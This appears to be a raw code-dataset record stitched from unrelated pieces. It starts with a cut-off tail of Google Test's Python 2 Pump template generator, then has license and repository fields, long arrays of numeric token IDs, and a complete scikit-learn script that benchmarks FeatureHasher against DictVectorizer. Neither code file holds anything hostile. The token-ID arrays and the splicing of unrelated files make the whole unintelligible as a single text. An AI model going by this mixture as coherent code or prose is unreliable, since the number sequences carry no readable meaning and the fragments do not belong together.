prev_token_rstripped = None else: prev_token = MakeToken(lines, pos, found.start, 'code') prev_token_rstripped = RStripNewLineFromToken(prev_token) if found.token_type == '$var': if prev_token_rstripped: yield prev_token_rstripped yield found id_token = ParseToken(lines, found.end, ID_REGEX, 'id') yield id_token pos = Skip(lines, id_token.end, OPTIONAL_WHITE_SPACES_REGEX) eq_token = ParseToken(lines, pos, EQ_REGEX, '=') yield eq_token pos = Skip(lines, eq_token.end, r'\s*') if SubString(lines, pos, pos + 2) != '[[': exp_token = ParseToken(lines, pos, REST_OF_LINE_REGEX, 'exp') yield exp_token pos = Cursor(exp_token.end.line + 1, 0) elif found.token_type == '$for': if prev_token_rstripped: yield prev_token_rstripped yield found id_token = ParseToken(lines, found.end, ID_REGEX, 'id') yield id_token pos = Skip(lines, id_token.end, WHITE_SPACE_REGEX) elif found.token_type == '$range': if prev_token_rstripped: yield prev_token_rstripped yield found id_token = ParseToken(lines, found.end, ID_REGEX, 'id') yield id_token pos = Skip(lines, id_token.end, OPTIONAL_WHITE_SPACES_REGEX) dots_pos = SkipUntil(lines, pos, DOT_DOT_REGEX, '..') yield MakeToken(lines, pos, dots_pos, 'exp') yield MakeToken(lines, dots_pos, dots_pos + 2, '..') pos = dots_pos + 2 new_pos = Cursor(pos.line + 1, 0) yield MakeToken(lines, pos, new_pos, 'exp') pos = new_pos elif found.token_type == '$': if prev_token: yield prev_token yield found exp_token = ParseExpTokenInParens(lines, found.end) yield exp_token pos = exp_token.end elif (found.token_type == ']]' or found.token_type == '$if' or found.token_type == '$elif' or found.token_type == '$else'): if prev_token_rstripped: yield prev_token_rstripped yield found pos = found.end else: if prev_token: yield prev_token yield found pos = found.end def Tokenize(s): """A generator that yields the tokens in the given string.""" if s != '': lines = s.splitlines(True) for token in TokenizeLines(lines, Cursor(0, 0)): yield token class CodeNode: def __init__(self, atomic_code_list=None): self.atomic_code = atomic_code_list class VarNode: def __init__(self, identifier=None, atomic_code=None): self.identifier = identifier self.atomic_code = atomic_code class RangeNode: def __init__(self, identifier=None, exp1=None, exp2=None): self.identifier = identifier self.exp1 = exp1 self.exp2 = exp2 class ForNode: def __init__(self, identifier=None, sep=None, code=None): self.identifier = identifier self.sep = sep self.code = code class ElseNode: def __init__(self, else_branch=None): self.else_branch = else_branch class IfNode: def __init__(self, exp=None, then_branch=None, else_branch=None): self.exp = exp self.then_branch = then_branch self.else_branch = else_branch class RawCodeNode: def __init__(self, token=None): self.raw_code = token class LiteralDollarNode: def __init__(self, token): self.token = token class ExpNode: def __init__(self, token, python_exp): self.token = token self.python_exp = python_exp def PopFront(a_list): head = a_list[0] a_list[:1] = [] return head def PushFront(a_list, elem): a_list[:0] = [elem] def PopToken(a_list, token_type=None): token = PopFront(a_list) if token_type is not None and token.token_type != token_type: print 'ERROR: %s expected at %s' % (token_type, token.start) print 'ERROR: %s found instead' % (token,) sys.exit(1) return token def PeekToken(a_list): if not a_list: return None return a_list[0] def ParseExpNode(token): python_exp = re.sub(r'([_A-Za-z]\w*)', r'self.GetValue("\1")', token.value) return ExpNode(token, python_exp) def ParseElseNode(tokens): def Pop(token_type=None): return PopToken(tokens, token_type) next = PeekToken(tokens) if not next: return None if next.token_type == '$else': Pop('$else') Pop('[[') code_node = ParseCodeNode(tokens) Pop(']]') return code_node elif next.token_type == '$elif': Pop('$elif') exp = Pop('code') Pop('[[') code_node = ParseCodeNode(tokens) Pop(']]') inner_else_node = ParseElseNode(tokens) return CodeNode([IfNode(ParseExpNode(exp), code_node, inner_else_node)]) elif not next.value.strip(): Pop('code') return ParseElseNode(tokens) else: return None def ParseAtomicCodeNode(tokens): def Pop(token_type=None): return PopToken(tokens, token_type) head = PopFront(tokens) t = head.token_type if t == 'code': return RawCodeNode(head) elif t == '$var': id_token = Pop('id') Pop('=') next = PeekToken(tokens) if next.token_type == 'exp': exp_token = Pop() return VarNode(id_token, ParseExpNode(exp_token)) Pop('[[') code_node = ParseCodeNode(tokens) Pop(']]') return VarNode(id_token, code_node) elif t == '$for': id_token = Pop('id') next_token = PeekToken(tokens) if next_token.token_type == 'code': sep_token = next_token Pop('code') else: sep_token = None Pop('[[') code_node = ParseCodeNode(tokens) Pop(']]') return ForNode(id_token, sep_token, code_node) elif t == '$if': exp_token = Pop('code') Pop('[[') code_node = ParseCodeNode(tokens) Pop(']]') else_node = ParseElseNode(tokens) return IfNode(ParseExpNode(exp_token), code_node, else_node) elif t == '$range': id_token = Pop('id') exp1_token = Pop('exp') Pop('..') exp2_token = Pop('exp') return RangeNode(id_token, ParseExpNode(exp1_token), ParseExpNode(exp2_token)) elif t == '$id': return ParseExpNode(Token(head.start + 1, head.end, head.value[1:], 'id')) elif t == '$($)': return LiteralDollarNode(head) elif t == '$': exp_token = Pop('exp') return ParseExpNode(exp_token) elif t == '[[': code_node = ParseCodeNode(tokens) Pop(']]') return code_node else: PushFront(tokens, head) return None def ParseCodeNode(tokens): atomic_code_list = [] while True: if not tokens: break atomic_code_node = ParseAtomicCodeNode(tokens) if atomic_code_node: atomic_code_list.append(atomic_code_node) else: break return CodeNode(atomic_code_list) def ParseToAST(pump_src_text): """Convert the given Pump source text into an AST.""" tokens = list(Tokenize(pump_src_text)) code_node = ParseCodeNode(tokens) return code_node class Env: def __init__(self): self.variables = [] self.ranges = [] def Clone(self): clone = Env() clone.variables = self.variables[:] clone.ranges = self.ranges[:] return clone def PushVariable(self, var, value): # If value looks like an int, store it as an int. try: int_value = int(value) if ('%s' % int_value) == value: value = int_value except Exception: pass self.variables[:0] = [(var, value)] def PopVariable(self): self.variables[:1] = [] def PushRange(self, var, lower, upper): self.ranges[:0] = [(var, lower, upper)] def PopRange(self): self.ranges[:1] = [] def GetValue(self, identifier): for (var, value) in self.variables: if identifier == var: return value print 'ERROR: meta variable %s is undefined.' % (identifier,) sys.exit(1) def EvalExp(self, exp): try: result = eval(exp.python_exp) except Exception, e: print 'ERROR: caught exception %s: %s' % (e.__class__.__name__, e) print ('ERROR: failed to evaluate meta expression %s at %s' % (exp.python_exp, exp.token.start)) sys.exit(1) return result def GetRange(self, identifier): for (var, lower, upper) in self.ranges: if identifier == var: return (lower, upper) print 'ERROR: range %s is undefined.' % (identifier,) sys.exit(1) class Output: def __init__(self): self.string = '' def GetLastLine(self): index = self.string.rfind('\n') if index < 0: return '' return self.string[index + 1:] def Append(self, s): self.string += s def RunAtomicCode(env, node, output): if isinstance(node, VarNode): identifier = node.identifier.value.strip() result = Output() RunAtomicCode(env.Clone(), node.atomic_code, result) value = result.string env.PushVariable(identifier, value) elif isinstance(node, RangeNode): identifier = node.identifier.value.strip() lower = int(env.EvalExp(node.exp1)) upper = int(env.EvalExp(node.exp2)) env.PushRange(identifier, lower, upper) elif isinstance(node, ForNode): identifier = node.identifier.value.strip() if node.sep is None: sep = '' else: sep = node.sep.value (lower, upper) = env.GetRange(identifier) for i in range(lower, upper + 1): new_env = env.Clone() new_env.PushVariable(identifier, i) RunCode(new_env, node.code, output) if i != upper: output.Append(sep) elif isinstance(node, RawCodeNode): output.Append(node.raw_code.value) elif isinstance(node, IfNode): cond = env.EvalExp(node.exp) if cond: RunCode(env.Clone(), node.then_branch, output) elif node.else_branch is not None: RunCode(env.Clone(), node.else_branch, output) elif isinstance(node, ExpNode): value = env.EvalExp(node) output.Append('%s' % (value,)) elif isinstance(node, LiteralDollarNode): output.Append('$') elif isinstance(node, CodeNode): RunCode(env.Clone(), node, output) else: print 'BAD' print node sys.exit(1) def RunCode(env, code_node, output): for atomic_code in code_node.atomic_code: RunAtomicCode(env, atomic_code, output) def IsSingleLineComment(cur_line): return '//' in cur_line def IsInPreprocessorDirective(prev_lines, cur_line): if cur_line.lstrip().startswith('#'): return True return prev_lines and prev_lines[-1].endswith('\\') def WrapComment(line, output): loc = line.find('//') before_comment = line[:loc].rstrip() if before_comment == '': indent = loc else: output.append(before_comment) indent = len(before_comment) - len(before_comment.lstrip()) prefix = indent*' ' + '// ' max_len = 80 - len(prefix) comment = line[loc + 2:].strip() segs = [seg for seg in re.split(r'(\w+\W*)', comment) if seg != ''] cur_line = '' for seg in segs: if len((cur_line + seg).rstrip()) < max_len: cur_line += seg else: if cur_line.strip() != '': output.append(prefix + cur_line.rstrip()) cur_line = seg.lstrip() if cur_line.strip() != '': output.append(prefix + cur_line.strip()) def WrapCode(line, line_concat, output): indent = len(line) - len(line.lstrip()) prefix = indent*' ' # Prefix of the current line max_len = 80 - indent - len(line_concat) # Maximum length of the current line new_prefix = prefix + 4*' ' # Prefix of a continuation line new_max_len = max_len - 4 # Maximum length of a continuation line # Prefers to wrap a line after a ',' or ';'. segs = [seg for seg in re.split(r'([^,;]+[,;]?)', line.strip()) if seg != ''] cur_line = '' # The current line without leading spaces. for seg in segs: # If the line is still too long, wrap at a space. while cur_line == '' and len(seg.strip()) > max_len: seg = seg.lstrip() split_at = seg.rfind(' ', 0, max_len) output.append(prefix + seg[:split_at].strip() + line_concat) seg = seg[split_at + 1:] prefix = new_prefix max_len = new_max_len if len((cur_line + seg).rstrip()) < max_len: cur_line = (cur_line + seg).lstrip() else: output.append(prefix + cur_line.rstrip() + line_concat) prefix = new_prefix max_len = new_max_len cur_line = seg.lstrip() if cur_line.strip() != '': output.append(prefix + cur_line.strip()) def WrapPreprocessorDirective(line, output): WrapCode(line, ' \\', output) def WrapPlainCode(line, output): WrapCode(line, '', output) def IsMultiLineIWYUPragma(line): return re.search(r'/\* IWYU pragma: ', line) def IsHeaderGuardIncludeOrOneLineIWYUPragma(line): return (re.match(r'^#(ifndef|define|endif\s*//)\s*[\w_]+\s*$', line) or re.match(r'^#include\s', line) or # Don't break IWYU pragmas, either; that causes iwyu.py problems. re.search(r'// IWYU pragma: ', line)) def WrapLongLine(line, output): line = line.rstrip() if len(line) <= 80: output.append(line) elif IsSingleLineComment(line): if IsHeaderGuardIncludeOrOneLineIWYUPragma(line): # The style guide made an exception to allow long header guard lines, # includes and IWYU pragmas. output.append(line) else: WrapComment(line, output) elif IsInPreprocessorDirective(output, line): if IsHeaderGuardIncludeOrOneLineIWYUPragma(line): # The style guide made an exception to allow long header guard lines, # includes and IWYU pragmas. output.append(line) else: WrapPreprocessorDirective(line, output) elif IsMultiLineIWYUPragma(line): output.append(line) else: WrapPlainCode(line, output) def BeautifyCode(string): lines = string.splitlines() output = [] for line in lines: WrapLongLine(line, output) output2 = [line.rstrip() for line in output] return '\n'.join(output2) + '\n' def ConvertFromPumpSource(src_text): """Return the text generated from the given Pump source text.""" ast = ParseToAST(StripMetaComments(src_text)) output = Output() RunCode(Env(), ast, output) return BeautifyCode(output.string) def main(argv): if len(argv) == 1: print __doc__ sys.exit(1) file_path = argv[-1] output_str = ConvertFromPumpSource(file(file_path, 'r').read()) if file_path.endswith('.pump'): output_file_path = file_path[:-5] else: output_file_path = '-' if output_file_path == '-': print output_str, else: output_file = file(output_file_path, 'w') output_file.write('// This file was GENERATED by command:\n') output_file.write('// %s %s\n' % (os.path.basename(__file__), os.path.basename(file_path))) output_file.write('// DO NOT EDIT BY HAND!!!\n\n') output_file.write(output_str) output_file.close() if __name__ == '__main__': main(sys.argv)
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 9079, 12, 4475, 3277, 14, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 29547, 373, 16, 14, 18, 14, 16, 446, 31651, 18491, 367, 6288, 2165, 9258, 14, 199, 199, 33, 4744, 367, 22335, 3404, 31768, 14, 221, 18491, 367, 12999, 199, 5028, 280, 857, 1234, 27025, 1233, 14, 221, 662, 22568, 2997, 367, 3575, 445, 4176, 199, 2888, 12, 3423, 12, 16954, 12, 436, 7009, 626, 1929, 370, 1736, 543, 199, 3808, 1785, 1329, 402, 2368, 14, 199, 199, 20274, 26, 2126, 31741, 14, 647, 25470, 63, 3817, 199, 199, 8918, 26, 2126, 31741, 14, 647, 3925, 14, 2055, 14, 29547, 268, 19107, 3925, 14, 2055, 14, 29547, 370, 3925, 14, 2055, 14, 199, 199, 10896, 45, 689, 26, 2126, 22547, 11351, 437, 2566, 17233, 63, 6012, 10, 2126, 437, 2566, 17233, 63, 6012, 11351, 2672, 1391, 2870, 275, 7168, 1075, 1779, 1204, 2672, 1391, 2870, 275, 3474, 22547, 1622, 61, 1779, 1204, 2672, 1842, 2870, 7168, 1075, 703, 1438, 5786, 1075, 1779, 1204, 2672, 509, 2870, 14782, 3474, 22547, 1622, 61, 1779, 1204, 7714, 4, 9, 1779, 1204, 2672, 998, 1779, 1204, 7714, 1438, 5786, 1075, 9, 1779, 1204, 2672, 692, 7168, 1075, 3474, 22547, 1622, 61, 22325, 899, 63, 24776, 1779, 1204, 3474, 22547, 1622, 61, 1779, 1204, 820, 15088, 63, 6012, 2126, 14782, 11351, 820, 15088, 63, 6012, 1204, 16589, 2126, 22325, 899, 63, 24776, 11351, 2672, 2836, 3474, 22547, 1622, 61, 1779, 1204, 2672, 4164, 7168, 1075, 3474, 22547, 1622, 61, 22325, 899, 63, 24776, 1779, 1204, 16589, 2126, 7168, 1075, 965, 2018, 6302, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 20444, 32, 3098, 14, 957, 334, 12674, 1629, 951, 644, 290, 3171, 199, 199, 646, 747, 199, 646, 295, 199, 646, 984, 421, 199, 8803, 63, 8723, 275, 359, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 1391, 60, 83, 11, 659, 4505, 1391, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 4164, 60, 83, 11, 659, 4505, 4164, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 2836, 60, 83, 11, 659, 4505, 2836, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 509, 60, 83, 11, 659, 4505, 509, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 692, 60, 83, 11, 659, 4505, 692, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 1842, 60, 83, 11, 659, 4505, 1842, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 13040, 33, 13, 13163, 13, 90, 7272, 87, 10, 659, 4505, 344, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 16827, 2961, 16827, 11218, 9774, 4, 11218, 272, 334, 264, 14, 2014, 8, 82, 1154, 26712, 4505, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 7023, 7023, 78, 31, 659, 6730, 59, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 7272, 7272, 78, 31, 659, 283, 2677, 659, 272, 1622, 421, 199, 533, 20385, 26, 523, 408, 18089, 282, 3421, 334, 604, 436, 2763, 9, 315, 282, 1318, 570, 1041, 819, 347, 636, 826, 721, 277, 12, 1004, 4022, 17, 12, 2763, 4022, 17, 304, 272, 291, 14, 604, 275, 1004, 272, 291, 14, 2301, 275, 2763, 819, 347, 636, 4077, 721, 277, 12, 9085, 304, 272, 372, 291, 14, 604, 508, 9085, 14, 604, 436, 291, 14, 2301, 508, 9085, 14, 2301, 819, 347, 636, 685, 721, 277, 12, 9085, 304, 272, 372, 440, 291, 508, 9085, 819, 347, 636, 4116, 721, 277, 12, 9085, 304, 272, 372, 291, 14, 604, 665, 9085, 14, 604, 503, 334, 267, 291, 14, 604, 508, 9085, 14, 604, 436, 291, 14, 2301, 665, 9085, 14, 2301, 9, 819, 347, 636, 274, 721, 277, 12, 9085, 304, 272, 372, 291, 665, 9085, 503, 291, 508, 9085, 819, 347, 636, 3308, 721, 277, 12, 9085, 304, 272, 372, 9085, 665, 291, 819, 347, 636, 303, 721, 277, 12, 9085, 304, 272, 372, 9085, 2695, 291, 819, 347, 636, 495, 721, 277, 304, 272, 340, 291, 508, 662, 1618, 837, 489, 372, 283, 13178, 7, 272, 587, 26, 489, 372, 1543, 83, 4042, 83, 3171, 450, 334, 277, 14, 604, 435, 413, 12, 291, 14, 2301, 9, 819, 347, 636, 525, 721, 277, 12, 3268, 304, 272 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 9079, 12, 4475, 3277, 14, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 29547, 373, 16, 14, 18, 14, 16, 446, 31651, 18491, 367, 6288, 2165, 9258, 14, 199, 199, 33, 4744, 367, 22335, 3404, 31768, 14, 221, 18491, 367, 12999, 199, 5028, 280, 857, 1234, 27025, 1233, 14, 221, 662, 22568, 2997, 367, 3575, 445, 4176, 199, 2888, 12, 3423, 12, 16954, 12, 436, 7009, 626, 1929, 370, 1736, 543, 199, 3808, 1785, 1329, 402, 2368, 14, 199, 199, 20274, 26, 2126, 31741, 14, 647, 25470, 63, 3817, 199, 199, 8918, 26, 2126, 31741, 14, 647, 3925, 14, 2055, 14, 29547, 268, 19107, 3925, 14, 2055, 14, 29547, 370, 3925, 14, 2055, 14, 199, 199, 10896, 45, 689, 26, 2126, 22547, 11351, 437, 2566, 17233, 63, 6012, 10, 2126, 437, 2566, 17233, 63, 6012, 11351, 2672, 1391, 2870, 275, 7168, 1075, 1779, 1204, 2672, 1391, 2870, 275, 3474, 22547, 1622, 61, 1779, 1204, 2672, 1842, 2870, 7168, 1075, 703, 1438, 5786, 1075, 1779, 1204, 2672, 509, 2870, 14782, 3474, 22547, 1622, 61, 1779, 1204, 7714, 4, 9, 1779, 1204, 2672, 998, 1779, 1204, 7714, 1438, 5786, 1075, 9, 1779, 1204, 2672, 692, 7168, 1075, 3474, 22547, 1622, 61, 22325, 899, 63, 24776, 1779, 1204, 3474, 22547, 1622, 61, 1779, 1204, 820, 15088, 63, 6012, 2126, 14782, 11351, 820, 15088, 63, 6012, 1204, 16589, 2126, 22325, 899, 63, 24776, 11351, 2672, 2836, 3474, 22547, 1622, 61, 1779, 1204, 2672, 4164, 7168, 1075, 3474, 22547, 1622, 61, 22325, 899, 63, 24776, 1779, 1204, 16589, 2126, 7168, 1075, 965, 2018, 6302, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 20444, 32, 3098, 14, 957, 334, 12674, 1629, 951, 644, 290, 3171, 199, 199, 646, 747, 199, 646, 295, 199, 646, 984, 421, 199, 8803, 63, 8723, 275, 359, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 1391, 60, 83, 11, 659, 4505, 1391, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 4164, 60, 83, 11, 659, 4505, 4164, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 2836, 60, 83, 11, 659, 4505, 2836, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 509, 60, 83, 11, 659, 4505, 509, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 692, 60, 83, 11, 659, 4505, 692, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 1842, 60, 83, 11, 659, 4505, 1842, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 4, 13040, 33, 13, 13163, 13, 90, 7272, 87, 10, 659, 4505, 344, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 16827, 2961, 16827, 11218, 9774, 4, 11218, 272, 334, 264, 14, 2014, 8, 82, 1154, 26712, 4505, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 7023, 7023, 78, 31, 659, 6730, 59, 659, 272, 334, 264, 14, 2014, 8, 82, 1154, 7272, 7272, 78, 31, 659, 283, 2677, 659, 272, 1622, 421, 199, 533, 20385, 26, 523, 408, 18089, 282, 3421, 334, 604, 436, 2763, 9, 315, 282, 1318, 570, 1041, 819, 347, 636, 826, 721, 277, 12, 1004, 4022, 17, 12, 2763, 4022, 17, 304, 272, 291, 14, 604, 275, 1004, 272, 291, 14, 2301, 275, 2763, 819, 347, 636, 4077, 721, 277, 12, 9085, 304, 272, 372, 291, 14, 604, 508, 9085, 14, 604, 436, 291, 14, 2301, 508, 9085, 14, 2301, 819, 347, 636, 685, 721, 277, 12, 9085, 304, 272, 372, 440, 291, 508, 9085, 819, 347, 636, 4116, 721, 277, 12, 9085, 304, 272, 372, 291, 14, 604, 665, 9085, 14, 604, 503, 334, 267, 291, 14, 604, 508, 9085, 14, 604, 436, 291, 14, 2301, 665, 9085, 14, 2301, 9, 819, 347, 636, 274, 721, 277, 12, 9085, 304, 272, 372, 291, 665, 9085, 503, 291, 508, 9085, 819, 347, 636, 3308, 721, 277, 12, 9085, 304, 272, 372, 9085, 665, 291, 819, 347, 636, 303, 721, 277, 12, 9085, 304, 272, 372, 9085, 2695, 291, 819, 347, 636, 495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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
deepesch/scikit-learn
examples/text/hashing_vs_dict_vectorizer.py
284
3265
""" =========================================== FeatureHasher and DictVectorizer Comparison =========================================== Compares FeatureHasher and DictVectorizer by using both to vectorize text documents. The example demonstrates syntax and speed only; it doesn't actually do anything useful with the extracted vectors. See the example scripts {document_classification_20newsgroups,clustering}.py for actual learning on text documents. A discrepancy between the number of terms reported for DictVectorizer and for FeatureHasher is to be expected due to hash collisions. """ # Author: Lars Buitinck <L.J.Buitinck@uva.nl> # License: BSD 3 clause from __future__ import print_function from collections import defaultdict import re import sys from time import time import numpy as np from sklearn.datasets import fetch_20newsgroups from sklearn.feature_extraction import DictVectorizer, FeatureHasher def n_nonzero_columns(X): """Returns the number of non-zero columns in a CSR matrix X.""" return len(np.unique(X.nonzero()[1])) def tokens(doc): """Extract tokens from doc. This uses a simple regex to break strings into tokens. For a more principled approach, see CountVectorizer or TfidfVectorizer. """ return (tok.lower() for tok in re.findall(r"\w+", doc)) def token_freqs(doc): """Extract a dict mapping tokens from doc to their frequencies.""" freq = defaultdict(int) for tok in tokens(doc): freq[tok] += 1 return freq categories = [ 'alt.atheism', 'comp.graphics', 'comp.sys.ibm.pc.hardware', 'misc.forsale', 'rec.autos', 'sci.space', 'talk.religion.misc', ] # Uncomment the following line to use a larger set (11k+ documents) #categories = None print(__doc__) print("Usage: %s [n_features_for_hashing]" % sys.argv[0]) print(" The default number of features is 2**18.") print() try: n_features = int(sys.argv[1]) except IndexError: n_features = 2 ** 18 except ValueError: print("not a valid number of features: %r" % sys.argv[1]) sys.exit(1) print("Loading 20 newsgroups training data") raw_data = fetch_20newsgroups(subset='train', categories=categories).data data_size_mb = sum(len(s.encode('utf-8')) for s in raw_data) / 1e6 print("%d documents - %0.3fMB" % (len(raw_data), data_size_mb)) print() print("DictVectorizer") t0 = time() vectorizer = DictVectorizer() vectorizer.fit_transform(token_freqs(d) for d in raw_data) duration = time() - t0 print("done in %fs at %0.3fMB/s" % (duration, data_size_mb / duration)) print("Found %d unique terms" % len(vectorizer.get_feature_names())) print() print("FeatureHasher on frequency dicts") t0 = time() hasher = FeatureHasher(n_features=n_features) X = hasher.transform(token_freqs(d) for d in raw_data) duration = time() - t0 print("done in %fs at %0.3fMB/s" % (duration, data_size_mb / duration)) print("Found %d unique terms" % n_nonzero_columns(X)) print() print("FeatureHasher on raw tokens") t0 = time() hasher = FeatureHasher(n_features=n_features, input_type="string") X = hasher.transform(tokens(d) for d in raw_data) duration = time() - t0 print("done in %fs at %0.3fMB/s" % (duration, data_size_mb / duration)) print("Found %d unique terms" % n_nonzero_columns(X))
bsd-3-clause
[ 624, 199, 2486, 21326, 199, 5968, 13415, 436, 7448, 26165, 3599, 5447, 199, 2486, 21326, 199, 199, 2404, 11044, 13407, 13415, 436, 7448, 26165, 701, 1808, 3865, 370, 5477, 794, 199, 505, 8247, 14, 199, 199, 1918, 2893, 23789, 31216, 6302, 436, 8112, 1454, 27, 652, 3181, 1133, 5965, 886, 199, 25058, 2997, 543, 314, 12509, 11102, 14, 1666, 314, 2893, 10554, 199, 91, 3554, 63, 14368, 63, 1165, 13224, 2634, 12, 25802, 5565, 647, 367, 3503, 9328, 199, 265, 1318, 8247, 14, 199, 199, 33, 4339, 1155, 9844, 3382, 314, 1329, 402, 2895, 14581, 367, 7448, 26165, 436, 199, 509, 13407, 13415, 365, 370, 506, 1420, 7037, 370, 2631, 30063, 14, 199, 624, 199, 199, 3, 6529, 26, 491, 4291, 4779, 390, 262, 346, 665, 44, 14, 42, 14, 1713, 390, 262, 346, 32, 85, 3042, 14, 7530, 30, 199, 3, 844, 26, 6289, 650, 8502, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 504, 5055, 492, 10018, 199, 646, 295, 199, 646, 984, 199, 504, 900, 492, 900, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 6357, 14, 12281, 492, 5267, 63, 1165, 13224, 2634, 199, 504, 6357, 14, 4445, 63, 24020, 492, 7448, 26165, 12, 13407, 13415, 421, 199, 318, 302, 63, 10262, 63, 3406, 8, 56, 304, 272, 408, 3407, 314, 1329, 402, 2222, 13, 4262, 4362, 315, 282, 16449, 3634, 1323, 1041, 272, 372, 822, 8, 1590, 14, 3235, 8, 56, 14, 10262, 3430, 17, 2459, 421, 199, 318, 4645, 8, 1301, 304, 272, 408, 12147, 4645, 687, 1382, 14, 339, 961, 4440, 282, 3486, 5163, 370, 2059, 3326, 1901, 4645, 14, 2104, 282, 1655, 272, 5448, 10352, 1146, 18140, 12, 1937, 14826, 26165, 503, 377, 23274, 26165, 14, 272, 408, 272, 